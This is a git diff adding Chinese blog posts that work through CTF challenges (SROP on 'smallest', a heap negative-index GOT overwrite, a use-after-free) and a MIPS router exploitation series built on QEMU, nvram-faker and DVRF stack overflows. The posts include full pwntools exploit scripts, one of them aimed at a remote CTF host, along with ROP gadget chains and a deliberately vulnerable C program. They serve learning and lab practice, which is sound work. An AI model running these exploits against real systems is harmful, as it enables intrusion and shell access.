2017-12-16 17:36:00 +--- +### 前言 + +`srop` 的作用比较强,在条件允许的情况下,尽量使用它。题目来自于 `i春秋`的一个比赛。 + + +题目链接: +https://gitee.com/hac425/blog_data/blob/master/smallest +### 正文 + +程序非常的简单 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1513417180656goqrxx0p.png?imageslim) +使用 `syscall` 进行系统调用,往 `rsp` 读入数据,然后 `ret`, 直接就可以控制 `rip`. + +程序非常的小,除了 这里基本没有代码,但是我们有 `syscall` ,`srop`利用之。首先明确目标。 + +``` +execve(“/bin/sh”, 0, 0) +``` +`syscall` 的传参顺序为 + +``` +rdi,rsi,rdx,rcx,r8, r9 +``` +然后 `rax` 存放 系统调用号 以及 `syscall` 的返回值。 +所以我们需要设置 + +``` +rax=59 +rdi---> /bin/sh +rsi=0 +rdx=0 +``` +然后 `syscall`.就可以拿到 `shell` 了。 + +使用 `srop` 我们可以控制所有的寄存器的值。 +所以我们需要一个可写的地址在一次`srop`结束后设置为 `rsp`. + +**下面根据 `exp` 进行讲解** + +首先是通过栈中环境变量,泄露栈的地址,得到一个可写的地址,用于 `srop` 时设置 `rsp`. + + +因为 `write` 的系统调用号 为 `1`, 而且 `stdout` 也为 `1`, 这样我们输入一个字符。然后通过 `rop` 跳到 + +``` +mov rdi, rax ; fd +syscall +``` + +我们就能 调用 `write(1,rsi,rdx)`, 此时的 `rsi` 就是栈的地址,`rdx` 则为 `0x400`,我们就能 拿到 栈的地址。 + +有一点需要注意的是,我们需要事先布置好栈数据,然后再次进入 `start`, 控制 `rax`.因为我们要控制的 `rax` 值小于 我们需要布置的数据的长度。 + + +``` +again = 0x4000B0 #xor rax, rax +rdi_rsi_sys = 0x04000BB # mov rdi, rax + +payload = p64(again) +payload += p64(rdi_rsi_sys) +payload += p64(again) # addr for after leak + +p.send(payload) +sleep(0.2) + +log.info("set stack for call write(1,....)") +# pause() + +p.send('\xbb') +data = p.recv() +sleep(0.2) + +stack_addr = u64(data[0x10:0x18]) - 0x253 +log.info(hex(stack_addr)) + +log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)") +``` +然后就是 `srop` 了。首先使用 `srop` 修改 `rsp`到 我们 一个刚刚泄露的地址.设置好 `/bin/sh`, 这么做的原因是,在一个确定地址处设置好 `/bin/sh`,用于后面 `getshell`. + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134185188140sj1uelb.png?imageslim) + +然后又回到开头,设置 `SigreturnFrame`, 此时已经可以确定`/bin/sh` 的地址了。设置好 寄存器。`srop`之后,再次 `syscall` 执行 +`execve(“/bin/sh”, 0, 0)` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15134185607335pktg6kj.png?imageslim) + + + + +### 最后 + + +很多东西调试一遍就清楚了。调试 `exp`, 写一点就调试一点。`srop` 时 ,栈顶开始为 `SigreturnFrame`. + + +参考: + +http://blog.csdn.net/qq_29343201/article/details/72627439 + +完整的 `exp` + +``` +from pwn import * +from time import sleep +context(os='linux', arch='amd64', log_level='debug') + +p = process("./smallest") + + + +# gdb.attach(p, ''' +# bp *0x004000BE + +# ''') +pause() + + +again = 0x4000B0 #xor rax, rax +rdi_rsi_sys = 0x04000BB # mov rdi, rax + +payload = p64(again) +payload += p64(rdi_rsi_sys) +payload += p64(again) # addr for after leak + +p.send(payload) +sleep(0.2) + +log.info("set stack for call write(1,....)") +# pause() + +p.send('\xbb') +data = p.recv() +sleep(0.2) + +stack_addr = u64(data[0x10:0x18]) - 0x253 +log.info(hex(stack_addr)) + +log.info("set rax=1, and ret to rdi_rsi_sys to call write(1,....)") + + + +# pause() + + +# swtch rsp ---> to leak addr, for get /bin/sh addr + +frame = SigreturnFrame() +frame.rsp = stack_addr # after sigretrun, rsp +frame.rip = again # ret to begin +payload = p64(again) +payload += 'd' * 8 +payload += str(frame) + +sleep(0.2) +p.send(payload) + + +syscall_addr = 0x04000BE + +payload = p64(syscall_addr) +payload += '\x11' * (15 - len(payload)) + +pause() +sleep(0.2) +p.send(payload) + +log.info("switch stack done") +pause() + +payload = p64(again) +payload += "B" * 8 + +frame = SigreturnFrame() +frame.rsp = stack_addr # after sigretrun, rsp +frame.rip = syscall_addr # ret to begin + +frame.rax = 59 + +frame.rdi = stack_addr + 0x10 + 0xf8 + +payload += str(frame) +payload += "/bin/sh\x00" + +p.send(payload) +pause() + + + +payload = p64(syscall_addr) +payload += '\x11' * (15 - len(payload)) +p.send(payload) + +p.interactive() + +``` \ No newline at end of file diff --git a/source/_posts/shctf2017_pwn100_pwn200.md b/source/_posts/shctf2017_pwn100_pwn200.md new file mode 100644 index 00000000..200397a3 --- /dev/null +++ b/source/_posts/shctf2017_pwn100_pwn200.md @@ -0,0 +1,231 @@ +--- +title: 上海ctf2017 pwn100 && pwn200 +authorId: hac425 +tags: + - heap +categories: + - ctf +date: 2017-11-05 23:32:00 +--- +### 前言 +尽量详细,给有需要的学弟们看看 +分析的 idb 文件在这: + +https://gitee.com/hac425/blog_data/tree/master/shanghaictf + +### pwn100 +程序是一个经典的 堆管理程序,基本增删改查功能。 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15098962009599uzwpyqa.png?imageslim) + +`add` 功能很正常,分配8字节的内存然后写入8字节内容。把 分配到的 `heap`指针存到 `table` 中,然后 `count++` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509896434623h6e9584f.png?imageslim) + +我们调试看看,使用 `add` 功能然后 看看堆的内容 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15098965027379oqb1bwg.png?imageslim) + +可以看到尽管 `malloc(8)` 实际会分配 `0x20` 字节(0x10 chunk结构 + 8 + 8 字节 对齐padding) +所以这里应该没有溢出的问题,但是注意 `count` 变量会索引到下一个没有使用的 `table` 表项。 + +这个程序的问题在于,在 `get_last`, `edit` 时会直接使用 `table[count] ` 来获取要处理的指针, 而且在 `delete` 时就只是简单的 `count--`,而且`count` 是一个有符号整数。这样多次 `delete` 后,`count` 会变成 负数。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509934315611x779r1bk.png?imageslim) + +然后 通过`table[count] `(`*(table + count*8)`) ,这样我们就可以通过`get_last`, `edit`来 泄露内存和 修改内存了。 + + +`ctf` 中利用漏洞的目标一般就是执行 `system('sh')`,在这里我们可以通过修改 `got` 表中`atoi`函数的指针为 `system` 的函数,然后在调用 `atoi` 函数时,就会去调用 `system` 函数了。为什么要选择 `atoi` 函数作为目标呢? + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15099347624636c7nenso.png?imageslim) +在打印程序的菜单后,会要我们输入一个选项,这就会调用这个函数,可以看到他会读取 `16` 字节到 `nptr`, 然后传到 `atoi`,如果我们把 `atoi` 改成`system`, 然后输入 `sh` , 就会执行 `system('sh')` 了,目标达到。 + +由于是这样获取内存地址: `*(table + count*8)`, 所以我们需要在 `table` 的上面(就是地址 < table的地址) 区域找到一个 指向 `got` 的指针。我们可以使用 `pwndbg` 的 `searchmem` 来搜索 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509935326266sve8pr7a.png?imageslim) + +属于 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509935380746in5n7zt4.png?imageslim) + +那么现在利用的思路就很清晰了。 + - 首先多次调用 `delete` 函数使得 `table + count*8` 指向 这里的 `atoi` 函数对应的地址,也就是 `0x400588`. + +- 然后我们就可以通过 `get_last` 功能打印 `atoi` 函数的地址,通过`atoi` 在 `libc` 中的固定偏移,泄露 `libc` 的地址。 + +- 然后获取 `system` 函数地址,然后使用 `edit` 修改 `atoi` 函数的地址改成 `system`函数地址。然后输入`sh` 即可。 + +exp(要跑 20几分钟左右): + +``` +from pwn import * + +# context.log_level = 'debug' +p = process("./list") + +puts_plt = 0x602018 + + +def add(content): + p.recvuntil("5.Exit\n") + p.sendline("1") + p.recvuntil("Input your content:\n") + sleep(0.5) + p.sendline(content) + + +def get_last_content(): + p.recvuntil("5.Exit\n") + p.sendline("2") + p.recvuntil('4.Delete') + p.recvuntil('5.Exit\n') + content = p.recvuntil("5.Exit\n") + addr = u64(content[:6].ljust(8, '\x00')) + hexdump(content) + hexdump(content) + return addr + + +def edit(content): + p.sendline("3") + sleep(0.5) + p.send(content) + + +def delete(): + p.recvuntil("5.Exit\n") + p.sendline("4") + +# alloc 3 chunk before to 3 + + +def get_count_to_addr(addr): + time = 0x602080 + 3 * 8 - addr + time = time / 8 + + print time + for i in range(time): + # sleep(0.5) + delete() + + +gdb.attach(p) + +add("B" * 8) +add("B" * 8) +add(p64(puts_plt)) +pause() + + +get_count_to_addr(0x400588) + +print "modify the count to fushu" +pause() + +print "::::" * 10 + +atoi_addr = get_last_content() +libc_addr = atoi_addr - 0x36e80 +system_addr = libc_addr + 0x45390 + +log.success("system: " + hex(system_addr)) + +edit(p64(system_addr)) + +log.success("modify atoi---> system") + +p.sendline("sh") + +p.interactive() + + +# bp 0x0400924 + + +``` + + + +### pwn200 +就是用`c++` 写的程序比较难看,不过看到程序的菜单,漏洞就很清楚了。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509936031356ptc0dds9.png?imageslim) +提示的很明显了,应该是 `uaf`, 那我们就重点看看与内存分配相关的位置。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509936258753devxv5lf.png?imageslim) + +首先会分配两个结构体,其中开始8字节被写入了函数的指针。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509936430537ciumch55.png?imageslim) +可以看到内存块的大小为 `0x40` 大小。通过 `new(0x30)` 分配得到,所以 `new` 和 `malloc` 的分配方式应该是一样的。接着往下看。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/150993658543336ohfyxh.png?imageslim) +选择`2` 时,可以有我们提供大小,传到 `new` ,然后通过 `read` 写入内容。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509936668993dl8aosz9.png?imageslim) + + +`free` 时会调用 `delete` 释放掉内存块。`free` 之后可以看到进入了`fastbin` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15099367564697zfv0v57.png?imageslim) +那此时我们使用 `2` 号功能,连续分配两块 `48`(0x30) 字节的内存,就会拿到这两块内存了。 + + +程序中内置了`getshell`函数 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509937226801kdjz5ggb.png?imageslim) + +所以我们在拿到那两块内存后,把开始 8 字节写成 `getshell-8` 函数的地址就行了。(减8的原因看下图) +然后使用 `1` 功能,就能调用了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509937318915n5tt0od8.png?imageslim) + +exp中把 开始 8 字节改成了 `0x0602D50` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509946173632ju0gczy8.png?imageslim) +exp: + +``` +from pwn import * + +# p = process("./p200") +p = remote("106.75.8.58", 12333) +context.log_level = 'debug' + +get_shell = p64(0x0602D50) + +payload = get_shell +payload += "A" * (48 - len(payload)) + +# gdb.attach(p) +p.recvuntil("1. use, 2. after, 3. free\n") +p.sendline('3') +# 先释放掉那两个块 +pause() + +p.recvuntil("1. use, 2. after, 3. free\n") +p.sendline("2") +p.recvuntil("Please input the length:\n") +p.sendline("48") + +sleep(0.5) + +p.sendline(payload) +pause() + +sleep(0.5) + +p.recvuntil("1. use, 2. after, 3. free\n") +p.sendline("2") +p.recvuntil("Please input the length:\n") +p.sendline("48") +sleep(0.5) +p.sendline(payload) + +# 分配两个块,占用刚刚释放的块, 开始8字节 为 0x0602D50 +pause() + +sleep(0.5) + +p.sendline("1") +p.interactive() + +``` \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part1.md b/source/_posts/step_by_step_pwn_router_part1.md new file mode 100644 index 00000000..3bb114b9 --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part1.md @@ -0,0 +1,179 @@ +--- +title: 一步一步pwn路由器之环境搭建 +authorId: hac425 +tags: + - 路由器安全 + - mips rop +categories: + - 路由器安全 +date: 2017-10-26 20:12:00 +--- +### 前言 + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +正式进入路由器的世界了。感觉路由器这块就是固件提取,运行环境修复比较麻烦,其他部分和一般的 pwn 差不多。由于大多数路由器是 mips 架构的,本文就以搭建 `MIPS运行、调试平台` 为例介绍环境的搭建。其他架构类似。 + +### 正文 + +###### 安装 与 配置 Qemu: + +``` +sudo apt-get install qemu +sudo apt-get install qemu-user-static +sudo apt-get install qemu-system +``` + +配置网络 + +``` +apt-get install bridge-utils uml-utilities +``` + +修改 `/etc/network/interfaces` + +``` +auto lo +iface lo inet loopback +# ubuntu 16.04的系统用ens33代替eth0 +auto eth0 +iface eth0 inet manual +up ifconfig eth0 0.0.0.0 up +auto br0 +iface br0 inet dhcp +bridge_ports eth0 +bridge_stp off +bridge_maxwait 1 +``` + +修改 `/etc/qemu-ifup` +``` +#!/bin/sh +echo "Executing /etc/qemu-ifup" +echo "Bringing $1 for bridged mode..." +sudo /sbin/ifconfig $1 0.0.0.0 promisc up +echo "Adding $1 to br0..." +sudo /sbin/brctl addif br0 $1 +sleep 3 +``` +增加权限 `chmod a+x /etc/qemu-ifup` + +重启网络服务 +``` +/etc/init.d/networking restart +``` +**下载与运行qemu的镜像** + +*uclibc交叉编译工具链 和 qemu系统镜像* +``` +https://www.uclibc.org/downloads/binaries/0.9.30.1/ +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/150902839201120b9a6l3.png?imageslim) + +*运行示例(解压,运行即可)* +``` +sudo qemu-system-mips -M malta -nographic -no-reboot -kernel "zImage-mips" -hda "image-mips.ext2" -append "root=/dev/hda rw init=/usr/sbin/init.sh panic=1 PATH=/usr/bin console=ttyS0" -net nic -net tap -drive file=/tmp/share.img +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509028462257nom8v9ce.png?imageslim) + +*openwrt预先编译好的内核,mips小端* +``` +https://downloads.openwrt.org/snapshots/trunk/malta/generic/ +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509028533709dnukk3fx.png?imageslim) +*运行* +``` +sudo qemu-system-mipsel -kernel openwrt-malta-le-vmlinux-initramfs.elf -M malta -drive file=/tmp/share.img -net nic -net tap -nographic +``` + + *debian mips qemu镜像 * + ``` +https://people.debian.org/~aurel32/qemu/mips/ + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509028870417m16zceue.png?imageslim) + +``` +sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic +``` +时间比较长 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090291042864rohh3lo.png?imageslim) + +#### 安装pwndbg +一个类似于 peda的gdb插件,支持多种架构,pwn最强gdb插件。用了它之后发现ida的调试简直渣渣。一张图说明一切。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090290758339f3u420n.png?imageslim) +安装的话按照github上的说明即可。 +``` +https://github.com/pwndbg/pwndbg +``` +要用来调试MIPS的话,要安装 +``` +sudo apt install gdb-multiarch +``` + +然后按照正常的gdb使用就行。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509029269607h15gm0sd.png?imageslim) + + +#### 安装firmadyne + +一个路由器运行环境,傻瓜化操作,但是无法调试...... +``` +https://github.com/firmadyne/firmadyne +``` + +#### 安装mipsrop插件 +貌似其他的rop工具都不能检测处mips的 gadgets,这个不错。 +``` +https://github.com/devttys0/ida/tree/master/plugins/mipsrop +``` + +扔到ida的plug目录即可 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509029647708zje4hzns.png?imageslim) + + + +#### 安装 PleaseROP 插件 + +jeb 2.3+ 的适用于arm , mips通用 rop gadgets搜索插件 +[PleaseROP](https://github.com/pnfsoftware/PleaseROP) + +下载后放到jeb根目录的 `coreplugins` 目录下,重新打开Jeb即可。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509090395335ni62umpx.png?imageslim) + +找到的结果可以在下面位置找到 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509090463437ew1n3zjs.png?imageslim) +#### binwalk完整安装 + +一定要安装完整的版本不然有些固件解不了。 +``` +http://blog.csdn.net/qq1084283172/article/details/65441110 + +``` + +#### gdbserver + +各种平台的静态编译版本 +``` +https://github.com/mzpqnxow/embedded-toolkit +``` + + +### 总结 +很简单,就这样 + + + +参考链接: + +http://blog.csdn.net/qq1084283172/article/details/70176583 + +注: + +  本文先发布于:https://xianzhi.aliyun.com/forum/topic/1508/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part2.md b/source/_posts/step_by_step_pwn_router_part2.md new file mode 100644 index 00000000..72df4d7d --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part2.md @@ -0,0 +1,166 @@ +--- +title: 一步一步pwn路由器之路由器环境修复&&rop技术分析 +authorId: hac425 +tags: + - 路由器安全 + - mips rop + - 路由器环境修复 +categories: + - 路由器安全 +date: 2017-10-26 23:05:00 +--- +### 前言 + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- +拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务程序。我们可以去 `/etc/init.d/` 找启动文件,或者看看一些有可能的目录。一般来说路由器的程序很少的情况下是可以直接用qemu运行起来的。我们需要做一些修复的工作,本文会介绍一个常用的方法,后面会分析在 `mips uclibc` 中常用的 `rop` 手法。 + +### 正文 +**运行环境修复** + +由于路由器运行时会去 nvram中获取配置信息,而我们的qemu中是没有该设备,路由器中的程序可能会因为没法获取配置信息而退出。我们可以使用 `https://github.com/zcutlip/nvram-faker` 配合着设置 `LD_PRELOAD` 环境变量来使用( 类似于一种 `hook` )。如果你的mips交叉编译工具链和它脚本里面的不一样就要修改它的脚本,比如 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090309370211cupr2kg.png?imageslim) +编译后把 `libnvram-faker.so` 和 `nvram.ini` 放到 `/` 目录,然后使用 `LD_PRELOAD`来加载。即可 + +``` +sudo chroot . ./qemu-mips-static -E LD_PRELOAD=/libnvram-faker.so /usr/bin/httpd +``` +如果程序还会在其他地方保错,就要自己分析程序,然后根据实际情况,在 `nvram-faker` 增加 `hook代码` + +注: + +- 要注意目标应用是用的 `glibc` 还是 `uclibc` ,从而选择对应的交叉编译工具链来进行编译。 +- 先使用 `firmadyne` 运行看看,然后优先选择 `qemu-system-mips-static`来调试,实在不行用 `qemu-system` +- 如果需要某些静态编译(给生成的Makefile里面增加 `-static` 选项)的程序,建议去 `qemu-system` 编译,交叉编译太麻烦了。 +---- + +**MIPS ROP分析** + +看了 [Exploiting a MIPS Stack Overflow](http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/) 做的实验,因为 `tplink`上没有对应版本的固件了。于是只能自己写一个栈溢出的程序,并配合着gdb调试,来模拟整个rop过程。 + +代码如下: +``` +#include +#include +#include + + +void getshell(){ + system("sh"); + sleep(1); +} + +void vulnerable_function() { + char buf[128]; + read(STDIN_FILENO, buf, 256); +} + +int main(int argc, char** argv) { + printf("%p\n", (int *)write); + vulnerable_function(); + write(STDOUT_FILENO, "Hello, World\n", 13); +} +``` +因为要使用 `qemu-mips-static` 来调试程序,这样就不方便找到libc的基地址。于是在程序运行时把libc中的函数地址打印出来,然后计算基地址,便于我们找到gadgets具体在内存中的位置。然后使用 uclibc的交叉编译工具链来编译。 +``` +/home/haclh/router_exploit/cross-compiler-mips/bin/mips-gcc level1.c -o level1 +``` +把它扔到一个路由器文件系统目录中,这样就不用单独拷贝它依赖的lib了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090326039915db83l6b.png?imageslim) + +可以看到程序使用了 uClibc,通过查看qemu的maps,找到uClibc的路径 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090327179167od9lz52.png?imageslim) + +拿到ida中分析找 gadgets.具体可以看上面的那篇文章。找到的gadgets如下。 +``` +rop_gad1: + LOAD:00055C60 li $a0, 1 + LOAD:00055C64 move $t9, $s1 + LOAD:00055C68 jalr $t9 ; sub_55960 + LOAD:00055C5C lui $s0, 2 + +gadg_2 + + LOAD:0001E20C move $t9, $s1 + LOAD:0001E210 lw $ra, 0x28+var_4($sp) + LOAD:0001E214 lw $s2, 0x28+var_8($sp) + LOAD:0001E218 lw $s1, 0x28+var_C($sp) + LOAD:0001E21C lw $s0, 0x28+var_10($sp) + LOAD:0001E220 jr $t9 + LOAD:0001E224 addiu $sp, 0x28 + + +rop_gad3: + LOAD:000164C0 addiu $s2, $sp, 0x198+var_180 + LOAD:000164C4 move $a2, $v1 + LOAD:000164C8 move $t9, $s0 + LOAD:000164CC jalr $t9 ; mempcpy + LOAD:000164D0 move $a0, $s2 + + +rop_gad4: + LOAD:000118A4 move $t9, $s2 + LOAD:000118A8 jalr $t9 + +``` +rop的过程,和对应的sp寄存器的值。 +``` +sp:0x76fff710 +首先进入 rop_gad1, $s1 gadg_2 + +sp:0x76fff710 +进入 gadg_2,这时$s1还是gadg_2, 从内存加载数据到寄存器s1-->sleep, ra--> rop_gad3, $s0--->rop_gad4 + +sp:0x76fff738 +再次进入 gadg_2,s1-->sleep, ra--> rop_gad3, $s0--->rop_gad4 + +sp:0x76fff760 +进入 rop_gad3, 获取栈地址到$s2,跳到 $s0 + + +进入rop_gad4,s2-->0x76fff778 跳进栈中,。。。 + +``` +**gdb调试的部分截图** + +断在函数返回地址被覆盖的时候,使用gdb命令,设置`$pc`寄存器的值,伪造劫持程序流程到 rop_gad1 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509033066831ysbgu293.png?imageslim) + +汇编代码如下 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509033106631mwc1gl07.png?imageslim) + +第一次进入rop_gad2 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090332319233l54m90b.png?imageslim) + +第二次运行到 rop_gad2 时的寄存器状态。 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509033335464zv8t8p6f.png?imageslim) + +`t9` 指向 `sleep `函数,接下来调用 `sleep(1)` 刷新 `cache`, 便于后面指向 `shellcode`。次数的 ` $ra` 为 `rop_gad3`的地址,便于在 `sleep` 返回后继续 `rop` ,获取一个栈的指针到寄存器,便于后面直接跳过去。 + + +进入rop_gad3 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509033654570mt5p9xro.png?imageslim) + +进入 rop_gad4,跳到栈上执行shellcode + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509033720821o12bll0r.png?imageslim) + +分析完毕。 +### 总结 + +修复环境要注意使用的gcc, 必要时自己跟踪,逆向代码,修复运行环境。看了几篇mips漏洞利用的文章,rop的思路就是上面的思路,估计那就是通用思路吧,记录下来,以备不时只需。调rop的过程还是有趣的。 + +参考链接: + + +http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/ + +注: + +  本文先发布于:https://xianzhi.aliyun.com/forum/topic/1509/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part3.md b/source/_posts/step_by_step_pwn_router_part3.md new file mode 100644 index 00000000..3227ac4c --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part3.md @@ -0,0 +1,101 @@ +--- +title: 一步一步pwn路由器之栈溢出实战 +authorId: hac425 +tags: + - mips rop + - 栈溢出 +categories: + - 路由器安全 +date: 2017-10-27 14:01:00 +--- +### 前言 + + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +本文以 [DVRF](https://github.com/praetorian-inc/DVRF) 中的第一个漏洞程序 `stack_bof_01` 为例,在实战 `MIPS` 架构中栈溢出的简单利用。 + + +### 正文 +去github上面把 DVRF 下载下来,然后用 `binwalk` 解开 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15090843759335sjlc5jz.png?imageslim) + +在 `pwnable` 目录下就是相应的示例程序 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509084462823wk11dwv2.png?imageslim) +在解开的文件系统的根目录下使用 `chroot` 和 `qemu` 运行 程序: + +``` +sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat ./pwnable/Intro/input`" +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509084652810a9d812lx.png?imageslim) + +使用了`cat` 命令读取文件作为命令行参数,传给目标程序,这样可以使我们输入一些不可见字符用于劫持程序流。 + +`stack_bof_01` 是一个很简单的栈溢出漏洞程序,它把用户从命令行传过去的参数直接使用 `strcpy` 拷贝到栈缓冲区,从而栈溢出。经过调试,输入204个字符后就可以覆盖到 `ra` 寄存器保存到栈栈上的值,进而可以控制 `$pc` 的值。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509085110075dfzfw3j4.png?imageslim) +修改文件内容的 `python` 脚本如下 + +``` +#!/usr/bin/python +padding = "O" * 204 +payload = padding + "B"*4 +with open("input", "wb") as f: + f.write(payload) + +``` +接下来就是考虑该如何利用的问题了。程序中包含了一个 执行 `system("/bin/sh")` 的函数 `dat_shell`, 如果是在 `x86` 平台下的话,我们直接设置 `$pc` 寄存器到它的地址就可以了。在 `MIPS` 如果直接指过去或怎么样呢?我们试试 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509085500227rnxajrt2.png?imageslim) + +访问了非法内存,异常了。 +原因在于,在 MIPS 中,函数内部会通过 `$t9` 寄存器和 `$gp` 寄存器来找数据,地址等。同时在 `mips` 的手册内默认 `$t9` 的值为当前函数的开始地址,这样才能正常的索引,所以我们需要先用一个 `rop_gadget` 设置 `$t9`, 然后再跳到 `dat_shell` 函数。 +在libc 中可以找到这样一个gadgets +``` +.text:00006B20 lw $t9, arg_0($sp) +.text:00006B24 jalr $t9 +``` + +加上libc的基地址就行了。用qemu-mipsel-static模拟程序是看不到目标程序的maps的,所以我们可以通过打印 `got` 表的函数指针,然后计算偏移得到 `libc` 的基地址。 + + +所以我们现在的利用流程就是: +- 修改返回地址到 `rop_gadget`, 设置 `$r9` 为 `dat_shell` 函数的地址 +- 跳转到 `dat_shell` 函数,执行`system` + +``` +#!/usr/bin/python +padding = "O" * 204 +gadget1 = "\x20\xbb\x6e\x76" +dat_shell_addr = "\x50\x09\x40" # Partial overwrite with little-endian arch +payload = padding + gadget1 + dat_shell_addr +with open("input", "wb") as f: + f.write(payload) + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509086115477pcnvhh8c.png?imageslim) + +### 总结 + +- 学习到了 `$t9` 寄存器的重要作用以后再使用 `rop` 调用函数时,要使用 `jalr $t9` 类的 `gadgets` 以保证进入函数后, `$t9` 的值为函数的起始地址,避免出错。 + +- 使用ida反汇编mips程序时,它好像默认 `$t9` 的值为函数的起始地址,导致我们分析问题时造成困惑,pwndbg 和 [radare2](http://www.radare.org/r/) 就不会这样。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509086721263tsioi5wr.png?imageslim) + +感觉mips下还是 pwndbg 和 [radare2](http://www.radare.org/r/)靠谱 + +参考链接: + +- https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-1/ + +注: + +  本文先发布于:https://xianzhi.aliyun.com/forum/topic/1510/ \ No newline at end of file diff --git a/source/_posts/step_by_step_pwn_router_part4.md b/source/_posts/step_by_step_pwn_router_part4.md new file mode 100644 index 00000000..3e5d09fb --- /dev/null +++ b/source/_posts/step_by_step_pwn_router_part4.md @@ -0,0 +1,134 @@ +--- +title: 一步一步pwn路由器之rop技术实战 +authorId: hac425 +tags: + - mips rop + - 栈溢出 +categories: + - 路由器安全 +date: 2017-10-28 11:47:00 +--- +### 前言 + + +--- +本文由 **本人** 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274/ + +--- + +这次程序也是 DVRF 里面的,他的路径是 `pwnable/ShellCode_Required/stack_bof_02` , 同样是一个简单的栈溢出,不过这个程序里面没有提供 `getshell` 的函数,需要我们执行shellcode来实现。这个正好实战下前文: [一步一步pwn路由器之路由器环境修复&&rop技术分析](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-26-%E4%B8%80%E6%AD%A5%E4%B8%80%E6%AD%A5pwn%E8%B7%AF%E7%94%B1%E5%99%A8%E4%B9%8B%E8%B7%AF%E7%94%B1%E5%99%A8%E7%8E%AF%E5%A2%83%E4%BF%AE%E5%A4%8D-rop%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90.html),中分析的在mips下的通用的rop技术。 + +### 正文 +首先使用 `qemu` 运行目标程序,并等待 `gdb` 来调试。 +``` +sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02 "`cat ./pwnable/Intro/input`" +``` + +使用pwntools的 cyclic 功能,找到偏移 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15091628511130mev14fe.png?imageslim) +验证一下: +``` +payload = "A" * 508 + 'B' * 4 + +with open("input", "wb") as f: + f.write(payload) +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509163815793mv4b39p0.png?imageslim) +OK, 现在我们已经可以控制程序的 `$pc`寄存器了,下一步就是利用的方法了。使用前文的那个 rop 链,我们需要可以控制 `$s1`寄存器。但是这里我们并没有办法控制。不过在 [这里](https://jinyu00.github.io/%E8%B7%AF%E7%94%B1%E5%99%A8%E5%AE%89%E5%85%A8/2017-10-27-MIPS-rop-gadgets%E8%AE%B0%E5%BD%95%E8%B4%B4-%E6%8C%81%E7%BB%AD%E6%9B%B4%E6%96%B0.html)提到,在 `uclibc` 的 `scandir` 或者 `scandir64` 的函数末尾有一个` gadgets` 可以操控几乎所有寄存器。 + +``` +.text:0000AFE0 lw $ra, 0x40+var_4($sp) 